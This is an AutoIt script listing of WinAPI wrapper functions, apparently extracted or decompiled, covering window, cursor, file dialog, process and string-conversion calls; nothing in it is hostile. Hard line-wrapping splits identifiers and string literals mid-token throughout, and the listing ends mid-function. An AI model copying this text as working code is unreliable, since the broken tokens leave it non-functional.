Func _winapi_getclientrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "ptr", Dll
StructGetPtr($trect))
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getcurrentprocess()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentProcess")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentprocessid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentProcessId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthread()
Local $aresult = DllCall("kernel32.dll", "handle", "GetCurrentThread")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcurrentthreadid()
Local $aresult = DllCall("kernel32.dll", "dword", "GetCurrentThreadId")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getcursorinfo()
Local $tcursor = DllStructCreate($tagcursorinfo)
Local $icursor = DllStructGetSize($tcursor)
DllStructSetData($tcursor, "Size", $icursor)
DllCall("user32.dll", "bool", "GetCursorInfo", "ptr", DllStructGetPtr($t
cursor))

If @error Then Return SetError(@error, @extended, 0)


Local $acursor[5]
$acursor[0] = True
$acursor[1] = DllStructGetData($tcursor, "Flags") <> 0
$acursor[2] = DllStructGetData($tcursor, "hCursor")
$acursor[3] = DllStructGetData($tcursor, "X")
$acursor[4] = DllStructGetData($tcursor, "Y")
Return $acursor
EndFunc
Func _winapi_getdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdesktopwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetDesktopWindow")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdevicecaps($hdc, $iindex)
Local $aresult = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle",
$hdc, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbi, $ius
age)
Local $aresult = DllCall("gdi32.dll", "int", "GetDIBits", "handle", $hdc
, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr
", $pbi, "uint", $iusage)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_getdlgctrlid($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetDlgCtrlID", "hwnd", $h
wnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getdlgitem($hwnd, $iitemid)
Local $aresult = DllCall("user32.dll", "hwnd", "GetDlgItem", "hwnd", $hw
nd, "int", $iitemid)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getfocus()
Local $aresult = DllCall("user32.dll", "hwnd", "GetFocus")
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getforegroundwindow()
Local $aresult = DllCall("user32.dll", "hwnd", "GetForegroundWindow")

If @error Then Return SetError(@error, @extended, 0)


Return $aresult[0]
EndFunc
Func _winapi_getguiresources($iflag = 0, $hprocess = -1)
If $hprocess = -1 Then $hprocess = _winapi_getcurrentprocess()
Local $aresult = DllCall("user32.dll", "dword", "GetGuiResources", "hand
le", $hprocess, "dword", $iflag)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_geticoninfo($hicon)
Local $tinfo = DllStructCreate($tagiconinfo)
DllCall("user32.dll", "bool", "GetIconInfo", "handle", $hicon, "ptr", Dl
lStructGetPtr($tinfo))
If @error Then Return SetError(@error, @extended, 0)
Local $aicon[6]
$aicon[0] = True
$aicon[1] = DllStructGetData($tinfo, "Icon") <> 0
$aicon[2] = DllStructGetData($tinfo, "XHotSpot")
$aicon[3] = DllStructGetData($tinfo, "YHotSpot")
$aicon[4] = DllStructGetData($tinfo, "hMask")
$aicon[5] = DllStructGetData($tinfo, "hColor")
Return $aicon
EndFunc
Func _winapi_getfilesizeex($hfile)
Local $aresult = DllCall("kernel32.dll", "bool", "GetFileSizeEx", "handl
e", $hfile, "int64*", 0)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[2]
EndFunc
Func _winapi_getlasterrormessage()
Local $tbufferptr = DllStructCreate("ptr")
Local $pbufferptr = DllStructGetPtr($tbufferptr)
Local $ncount = _winapi_formatmessage(BitOR($__winapiconstant_format_mes
sage_allocate_buffer, $__winapiconstant_format_message_from_system), 0, _winapi_
getlasterror(), 0, $pbufferptr, 0, 0)
If @error Then Return SetError(@error, 0, "")
Local $stext = ""
Local $pbuffer = DllStructGetData($tbufferptr, 1)
If $pbuffer Then
If $ncount > 0 Then
Local $tbuffer = DllStructCreate("wchar[" & ($ncount + 1
) & "]", $pbuffer)
$stext = DllStructGetData($tbuffer, 1)
EndIf
_winapi_localfree($pbuffer)
EndIf
Return $stext
EndFunc
Func _winapi_getlayeredwindowattributes($hwnd, ByRef $i_transcolor, ByRef $trans
parency, $ascolorref = False)
$i_transcolor = -1
$transparency = -1
Local $aresult = DllCall("user32.dll", "bool", "GetLayeredWindowAttribut
es", "hwnd", $hwnd, "dword*", $i_transcolor, "byte*", $transparency, "dword*", 0

)
If @error Then Return SetError(@error, @extended, 0)
If NOT $ascolorref Then
$aresult[2] = Hex(String($aresult[2]), 6)
$aresult[2] = "0x" & StringMid($aresult[2], 5, 2) & StringMid($a
result[2], 3, 2) & StringMid($aresult[2], 1, 2)
EndIf
$i_transcolor = $aresult[2]
$transparency = $aresult[3]
Return $aresult[4]
EndFunc
Func _winapi_getmodulehandle($smodulename)
Local $smodulenametype = "wstr"
If $smodulename = "" Then
$smodulename = 0
$smodulenametype = "ptr"
EndIf
Local $aresult = DllCall("kernel32.dll", "handle", "GetModuleHandleW", $
smodulenametype, $smodulename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getmousepos($ftoclient = False, $hwnd = 0)
Local $imode = Opt("MouseCoordMode", 1)
Local $apos = MouseGetPos()
Opt("MouseCoordMode", $imode)
Local $tpoint = DllStructCreate($tagpoint)
DllStructSetData($tpoint, "X", $apos[0])
DllStructSetData($tpoint, "Y", $apos[1])
If $ftoclient Then
_winapi_screentoclient($hwnd, $tpoint)
If @error Then Return SetError(@error, @extended, 0)
EndIf
Return $tpoint
EndFunc
Func _winapi_getmouseposx($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "X")
EndFunc
Func _winapi_getmouseposy($ftoclient = False, $hwnd = 0)
Local $tpoint = _winapi_getmousepos($ftoclient, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_getobject($hobject, $isize, $pobject)
Local $aresult = DllCall("gdi32.dll", "int", "GetObject", "handle", $hob
ject, "int", $isize, "ptr", $pobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getopenfilename($stitle = "", $sfilter = "All files (*.*)", $sinita
ldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags =
0, $iflagsex = 0, $hwndowner = 0)

Local $ipathlen = 4096


Local $inulls = 0
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i],
$istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft
($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "
];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1
& "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinit
aldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaulte
xt) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)
)
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
DllCall("comdlg32.dll", "bool", "GetOpenFileNameW", "ptr", DllStructGetP
tr($tofn))
If @error Then Return SetError(@error, @extended, $afiles)
If BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect AND Bi
tAND($iflags, $ofn_explorer) = $ofn_explorer Then
For $x = 1 To $ipathlen
If DllStructGetData($tpath, "Path", $x) = Chr(0) Then
DllStructSetData($tpath, "Path", "|", $x)
$inulls += 1
Else
$inulls = 0
EndIf
If $inulls = 2 Then ExitLoop
Next

DllStructSetData($tpath, "Path", Chr(0), $x - 1)


$afiles = StringSplit(DllStructGetData($tpath, "Path"), "|")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllSt
ructGetData($tpath, "Path"))
Return StringSplit(DllStructGetData($tpath, "Path"), "|")
ElseIf BitAND($iflags, $ofn_allowmultiselect) = $ofn_allowmultiselect Th
en
$afiles = StringSplit(DllStructGetData($tpath, "Path"), " ")
If $afiles[0] = 1 Then Return __winapi_parsefiledialogpath(DllSt
ructGetData($tpath, "Path"))
Return StringSplit(StringReplace(DllStructGetData($tpath, "Path"
), " ", "|"), "|")
Else
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Pa
th"))
EndIf
EndFunc
Func _winapi_getoverlappedresult($hfile, $poverlapped, ByRef $ibytes, $fwait = F
alse)
Local $aresult = DllCall("kernel32.dll", "bool", "GetOverlappedResult",
"handle", $hfile, "ptr", $poverlapped, "dword*", 0, "bool", $fwait)
If @error Then Return SetError(@error, @extended, False)
$ibytes = $aresult[3]
Return $aresult[0]
EndFunc
Func _winapi_getparent($hwnd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetParent", "hwnd", $hwn
d)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getprocessaffinitymask($hprocess)
Local $aresult = DllCall("kernel32.dll", "bool", "GetProcessAffinityMask
", "handle", $hprocess, "dword_ptr*", 0, "dword_ptr*", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $amask[3]
$amask[0] = True
$amask[1] = $aresult[2]
$amask[2] = $aresult[3]
Return $amask
EndFunc
Func _winapi_getsavefilename($stitle = "", $sfilter = "All files (*.*)", $sinita
ldir = ".", $sdefaultfile = "", $sdefaultext = "", $ifilterindex = 1, $iflags =
0, $iflagsex = 0, $hwndowner = 0)
Local $ipathlen = 4096
Local $tofn = DllStructCreate($tagopenfilename)
Local $afiles[1] = [0]
Local $iflag = $iflags
Local $asflines = StringSplit($sfilter, "|")
Local $asfilter[$asflines[0] * 2 + 1]
Local $istart, $ifinal, $stfilter
$asfilter[0] = $asflines[0] * 2
For $i = 1 To $asflines[0]
$istart = StringInStr($asflines[$i], "(", 0, 1)
$ifinal = StringInStr($asflines[$i], ")", 0, -1)
$asfilter[$i * 2 - 1] = StringStripWS(StringLeft($asflines[$i],

$istart - 1), 3)
$asfilter[$i * 2] = StringStripWS(StringTrimRight(StringTrimLeft
($asflines[$i], $istart), StringLen($asflines[$i]) - $ifinal + 1), 3)
$stfilter &= "wchar[" & StringLen($asfilter[$i * 2 - 1]) + 1 & "
];wchar[" & StringLen($asfilter[$i * 2]) + 1 & "];"
Next
Local $ttitle = DllStructCreate("wchar Title[" & StringLen($stitle) + 1
& "]")
Local $tinitialdir = DllStructCreate("wchar InitDir[" & StringLen($sinit
aldir) + 1 & "]")
Local $tfilter = DllStructCreate($stfilter & "wchar")
Local $tpath = DllStructCreate("wchar Path[" & $ipathlen & "]")
Local $textn = DllStructCreate("wchar Extension[" & StringLen($sdefaulte
xt) + 1 & "]")
For $i = 1 To $asfilter[0]
DllStructSetData($tfilter, $i, $asfilter[$i])
Next
DllStructSetData($ttitle, "Title", $stitle)
DllStructSetData($tinitialdir, "InitDir", $sinitaldir)
DllStructSetData($tpath, "Path", $sdefaultfile)
DllStructSetData($textn, "Extension", $sdefaultext)
DllStructSetData($tofn, "StructSize", DllStructGetSize($tofn))
DllStructSetData($tofn, "hwndOwner", $hwndowner)
DllStructSetData($tofn, "lpstrFilter", DllStructGetPtr($tfilter))
DllStructSetData($tofn, "nFilterIndex", $ifilterindex)
DllStructSetData($tofn, "lpstrFile", DllStructGetPtr($tpath))
DllStructSetData($tofn, "nMaxFile", $ipathlen)
DllStructSetData($tofn, "lpstrInitialDir", DllStructGetPtr($tinitialdir)
)
DllStructSetData($tofn, "lpstrTitle", DllStructGetPtr($ttitle))
DllStructSetData($tofn, "Flags", $iflag)
DllStructSetData($tofn, "lpstrDefExt", DllStructGetPtr($textn))
DllStructSetData($tofn, "FlagsEx", $iflagsex)
DllCall("comdlg32.dll", "bool", "GetSaveFileNameW", "ptr", DllStructGetP
tr($tofn))
If @error Then Return SetError(@error, @extended, $afiles)
Return __winapi_parsefiledialogpath(DllStructGetData($tpath, "Path"))
EndFunc
Func _winapi_getstockobject($iobject)
Local $aresult = DllCall("gdi32.dll", "handle", "GetStockObject", "int",
$iobject)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getstdhandle($istdhandle)
If $istdhandle < 0 OR $istdhandle > 2 Then Return SetError(2, 0, -1)
Local Const $ahandle[3] = [-10, -11, -12]
Local $aresult = DllCall("kernel32.dll", "handle", "GetStdHandle", "dwor
d", $ahandle[$istdhandle])
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_getsyscolor($iindex)
Local $aresult = DllCall("user32.dll", "dword", "GetSysColor", "int", $i
index)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]

EndFunc
Func _winapi_getsyscolorbrush($iindex)
Local $aresult = DllCall("user32.dll", "handle", "GetSysColorBrush", "in
t", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getsystemmetrics($iindex)
Local $aresult = DllCall("user32.dll", "int", "GetSystemMetrics", "int",
$iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_gettextextentpoint32($hdc, $stext)
Local $tsize = DllStructCreate($tagsize)
Local $isize = StringLen($stext)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hdc, "w
str", $stext, "int", $isize, "ptr", DllStructGetPtr($tsize))
If @error Then Return SetError(@error, @extended, 0)
Return $tsize
EndFunc
Func _winapi_getwindow($hwnd, $icmd)
Local $aresult = DllCall("user32.dll", "hwnd", "GetWindow", "hwnd", $hwn
d, "uint", $icmd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowdc($hwnd)
Local $aresult = DllCall("user32.dll", "handle", "GetWindowDC", "hwnd",
$hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowheight($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "To
p")
EndFunc
Func _winapi_getwindowlong($hwnd, $iindex)
Local $sfuncname = "GetWindowLongW"
If @AutoItX64 Then $sfuncname = "GetWindowLongPtrW"
Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $
hwnd, "int", $iindex)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowplacement($hwnd)
Local $twindowplacement = DllStructCreate($tagwindowplacement)
DllStructSetData($twindowplacement, "length", DllStructGetSize($twindowp
lacement))
Local $pwindowplacement = DllStructGetPtr($twindowplacement)

DllCall("user32.dll", "bool", "GetWindowPlacement", "hwnd", $hwnd, "ptr"


, $pwindowplacement)
If @error Then Return SetError(@error, @extended, 0)
Return $twindowplacement
EndFunc
Func _winapi_getwindowrect($hwnd)
Local $trect = DllStructCreate($tagrect)
DllCall("user32.dll", "bool", "GetWindowRect", "hwnd", $hwnd, "ptr", Dll
StructGetPtr($trect))
If @error Then Return SetError(@error, @extended, 0)
Return $trect
EndFunc
Func _winapi_getwindowrgn($hwnd, $hrgn)
Local $aresult = DllCall("user32.dll", "int", "GetWindowRgn", "hwnd", $h
wnd, "handle", $hrgn)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_getwindowtext($hwnd)
Local $aresult = DllCall("user32.dll", "int", "GetWindowTextW", "hwnd",
$hwnd, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[2])
EndFunc
Func _winapi_getwindowthreadprocessid($hwnd, ByRef $ipid)
Local $aresult = DllCall("user32.dll", "dword", "GetWindowThreadProcessI
d", "hwnd", $hwnd, "dword*", 0)
If @error Then Return SetError(@error, @extended, 0)
$ipid = $aresult[2]
Return $aresult[0]
EndFunc
Func _winapi_getwindowwidth($hwnd)
Local $trect = _winapi_getwindowrect($hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return DllStructGetData($trect, "Right") - DllStructGetData($trect, "Lef
t")
EndFunc
Func _winapi_getxyfrompoint(ByRef $tpoint, ByRef $ix, ByRef $iy)
$ix = DllStructGetData($tpoint, "X")
$iy = DllStructGetData($tpoint, "Y")
EndFunc
Func _winapi_globalmemorystatus()
Local $tmem = DllStructCreate($tagmemorystatusex)
Local $pmem = DllStructGetPtr($tmem)
Local $imem = DllStructGetSize($tmem)
DllStructSetData($tmem, 1, $imem)
DllCall("kernel32.dll", "none", "GlobalMemoryStatusEx", "ptr", $pmem)
If @error Then Return SetError(@error, @extended, 0)
Local $amem[7]
$amem[0] = DllStructGetData($tmem, 2)
$amem[1] = DllStructGetData($tmem, 3)
$amem[2] = DllStructGetData($tmem, 4)
$amem[3] = DllStructGetData($tmem, 5)

$amem[4] = DllStructGetData($tmem, 6)
$amem[5] = DllStructGetData($tmem, 7)
$amem[6] = DllStructGetData($tmem, 8)
Return $amem
EndFunc
Func _winapi_guidfromstring($sguid)
Local $tguid = DllStructCreate($tagguid)
_winapi_guidfromstringex($sguid, DllStructGetPtr($tguid))
If @error Then Return SetError(@error, @extended, 0)
Return $tguid
EndFunc
Func _winapi_guidfromstringex($sguid, $pguid)
Local $aresult = DllCall("ole32.dll", "long", "CLSIDFromString", "wstr",
$sguid, "ptr", $pguid)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_hiword($ilong)
Return BitShift($ilong, 16)
EndFunc
Func _winapi_inprocess($hwnd, ByRef $hlastwnd)
If $hwnd = $hlastwnd Then Return True
For $ii = $__gainprocess_winapi[0][0] To 1 Step -1
If $hwnd = $__gainprocess_winapi[$ii][0] Then
If $__gainprocess_winapi[$ii][1] Then
$hlastwnd = $hwnd
Return True
Else
Return False
EndIf
EndIf
Next
Local $iprocessid
_winapi_getwindowthreadprocessid($hwnd, $iprocessid)
Local $icount = $__gainprocess_winapi[0][0] + 1
If $icount >= 64 Then $icount = 1
$__gainprocess_winapi[0][0] = $icount
$__gainprocess_winapi[$icount][0] = $hwnd
$__gainprocess_winapi[$icount][1] = ($iprocessid = @AutoItPID)
Return $__gainprocess_winapi[$icount][1]
EndFunc
Func _winapi_inttofloat($iint)
Local $tint = DllStructCreate("int")
Local $tfloat = DllStructCreate("float", DllStructGetPtr($tint))
DllStructSetData($tint, 1, $iint)
Return DllStructGetData($tfloat, 1)
EndFunc
Func _winapi_isclassname($hwnd, $sclassname)
Local $sseparator = Opt("GUIDataSeparatorChar")
Local $aclassname = StringSplit($sclassname, $sseparator)
If NOT IsHWnd($hwnd) Then $hwnd = GUICtrlGetHandle($hwnd)
Local $sclasscheck = _winapi_getclassname($hwnd)
For $x = 1 To UBound($aclassname) - 1
If StringUpper(StringMid($sclasscheck, 1, StringLen($aclassname[

$x]))) = StringUpper($aclassname[$x]) Then Return True


Next
Return False
EndFunc
Func _winapi_iswindow($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindow", "hwnd", $hwnd
)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_iswindowvisible($hwnd)
Local $aresult = DllCall("user32.dll", "bool", "IsWindowVisible", "hwnd"
, $hwnd)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_invalidaterect($hwnd, $trect = 0, $ferase = True)
Local $prect = 0
If IsDllStruct($trect) Then $prect = DllStructGetPtr($trect)
Local $aresult = DllCall("user32.dll", "bool", "InvalidateRect", "hwnd",
$hwnd, "ptr", $prect, "bool", $ferase)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_lineto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "LineTo", "handle", $hdc,
"int", $ix, "int", $iy)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loadbitmap($hinstance, $sbitmap)
Local $sbitmaptype = "int"
If IsString($sbitmap) Then $sbitmaptype = "wstr"
Local $aresult = DllCall("user32.dll", "handle", "LoadBitmapW", "handle"
, $hinstance, $sbitmaptype, $sbitmap)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadimage($hinstance, $simage, $itype, $ixdesired, $iydesired, $ilo
ad)
Local $aresult, $simagetype = "int"
If IsString($simage) Then $simagetype = "wstr"
$aresult = DllCall("user32.dll", "handle", "LoadImageW", "handle", $hins
tance, $simagetype, $simage, "uint", $itype, "int", $ixdesired, "int", $iydesire
d, "uint", $iload)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadlibrary($sfilename)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryW", "wstr
", $sfilename)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]

EndFunc
Func _winapi_loadlibraryex($sfilename, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "handle", "LoadLibraryExW", "ws
tr", $sfilename, "ptr", 0, "dword", $iflags)
If @error Then Return SetError(@error, @extended, 0)
Return $aresult[0]
EndFunc
Func _winapi_loadshell32icon($iiconid)
Local $ticons = DllStructCreate("ptr Data")
Local $picons = DllStructGetPtr($ticons)
Local $iicons = _winapi_extracticonex("shell32.dll", $iiconid, 0, $picon
s, 1)
If @error Then Return SetError(@error, @extended, 0)
If $iicons <= 0 Then Return SetError(1, 0, 0)
Return DllStructGetData($ticons, "Data")
EndFunc
Func _winapi_loadstring($hinstance, $istringid)
Local $aresult = DllCall("user32.dll", "int", "LoadStringW", "handle", $
hinstance, "uint", $istringid, "wstr", "", "int", 4096)
If @error Then Return SetError(@error, @extended, "")
Return SetExtended($aresult[0], $aresult[3])
EndFunc
Func _winapi_localfree($hmem)
Local $aresult = DllCall("kernel32.dll", "handle", "LocalFree", "handle"
, $hmem)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_loword($ilong)
Return BitAND($ilong, 65535)
EndFunc
Func _winapi_makelangid($lgidprimary, $lgidsub)
Return BitOR(BitShift($lgidsub, -10), $lgidprimary)
EndFunc
Func _winapi_makelcid($lgid, $srtid)
Return BitOR(BitShift($srtid, -16), $lgid)
EndFunc
Func _winapi_makelong($ilo, $ihi)
Return BitOR(BitShift($ihi, -16), BitAND($ilo, 65535))
EndFunc
Func _winapi_makeqword($lodword, $hidword)
Local $tint64 = DllStructCreate("uint64")
Local $tdwords = DllStructCreate("dword;dword", DllStructGetPtr($tint64)
)
DllStructSetData($tdwords, 1, $lodword)
DllStructSetData($tdwords, 2, $hidword)
Return DllStructGetData($tint64, 1)
EndFunc
Func _winapi_messagebeep($itype = 1)
Local $isound

Switch $itype
Case 1
$isound = 0
Case 2
$isound = 16
Case 3
$isound = 32
Case 4
$isound = 48
Case 5
$isound = 64
Case Else
$isound = -1
EndSwitch
Local $aresult = DllCall("user32.dll", "bool", "MessageBeep", "uint", $i
sound)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_msgbox($iflags, $stitle, $stext)
BlockInput(0)
MsgBox($iflags, $stitle, $stext & "
EndFunc

")

Func _winapi_mouse_event($iflags, $ix = 0, $iy = 0, $idata = 0, $iextrainfo = 0)


DllCall("user32.dll", "none", "mouse_event", "dword", $iflags, "dword",
$ix, "dword", $iy, "dword", $idata, "ulong_ptr", $iextrainfo)
If @error Then Return SetError(@error, @extended)
EndFunc
Func _winapi_moveto($hdc, $ix, $iy)
Local $aresult = DllCall("gdi32.dll", "bool", "MoveToEx", "handle", $hdc
, "int", $ix, "int", $iy, "ptr", 0)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_movewindow($hwnd, $ix, $iy, $iwidth, $iheight, $frepaint = True)
Local $aresult = DllCall("user32.dll", "bool", "MoveWindow", "hwnd", $hw
nd, "int", $ix, "int", $iy, "int", $iwidth, "int", $iheight, "bool", $frepaint)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_muldiv($inumber, $inumerator, $idenominator)
Local $aresult = DllCall("kernel32.dll", "int", "MulDiv", "int", $inumbe
r, "int", $inumerator, "int", $idenominator)
If @error Then Return SetError(@error, @extended, -1)
Return $aresult[0]
EndFunc
Func _winapi_multibytetowidechar($stext, $icodepage = 0, $iflags = 0, $bretstrin
g = False)
Local $stexttype = "ptr", $ptext = $stext
If IsDllStruct($stext) Then
$ptext = DllStructGetPtr($stext)
Else
If NOT IsPtr($stext) Then $stexttype = "STR"
EndIf

Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "


uint", $icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", 0, "i
nt", 0)
If @error Then Return SetError(@error, @extended, 0)
Local $iout = $aresult[0]
Local $tout = DllStructCreate("wchar[" & $iout & "]")
Local $pout = DllStructGetPtr($tout)
$aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "uint",
$icodepage, "dword", $iflags, $stexttype, $ptext, "int", -1, "ptr", $pout, "int
", $iout)
If @error Then Return SetError(@error, @extended, 0)
If $bretstring Then Return DllStructGetData($tout, 1)
Return $tout
EndFunc
Func _winapi_multibytetowidecharex($stext, $ptext, $icodepage = 0, $iflags = 0)
Local $aresult = DllCall("kernel32.dll", "int", "MultiByteToWideChar", "
uint", $icodepage, "dword", $iflags, "STR", $stext, "int", -1, "ptr", $ptext, "i
nt", (StringLen($stext) + 1) * 2)
If @error Then Return SetError(@error, @extended, False)
Return $aresult[0]
EndFunc
Func _winapi_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword
", $iaccess, "bool", $finherit, "dword", $iprocessid)
If @error Then Return SetError(@error, @extended, 0)
If $aresult[0] Then Return $aresult[0]
If NOT $fdebugpriv Then Return 0
Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privile
ges, $token_query))
If @error Then Return SetError(@error, @extended, 0)
_security__setprivilege($htoken, "SeDebugPrivilege", True)
Local $ierror = @error
Local $ilasterror = @extended
Local $iret = 0
If NOT @error Then
$aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dwo
rd", $iaccess, "bool", $finherit, "dword", $iprocessid)
$ierror = @error
$ilasterror = @extended
If $aresult[0] Then $iret = $aresult[0]
_security__setprivilege($htoken, "SeDebugPrivilege", False)
If @error Then
$ierror = @error
$ilasterror = @extended
EndIf
EndIf
_winapi_closehandle($htoken)
Return SetError($ierror, $ilasterror, $iret)
EndFunc
Func __winapi_parsefiledialogpath($spath)
Local $afiles[3]
$afiles[0] = 2
Local $stemp = StringMid($spath, 1, StringInStr($spath, "\", 0, -1) - 1)
$afiles[1] = $stemp
$afiles[2] = StringMid($spath, StringInStr($spath, "\", 0, -1) + 1)
Return $afiles
EndFunc

Func _winapi_pathfindonpath(Const $szfile, $aextrapaths = "", Const $szpathdelim


iter = @LF)
Local $iextracount = 0
If IsString($aextrapaths) Then
If StringLen($aextrapaths) Then
$aextrapaths = StringSplit($aextrapaths, $szpathdelimite
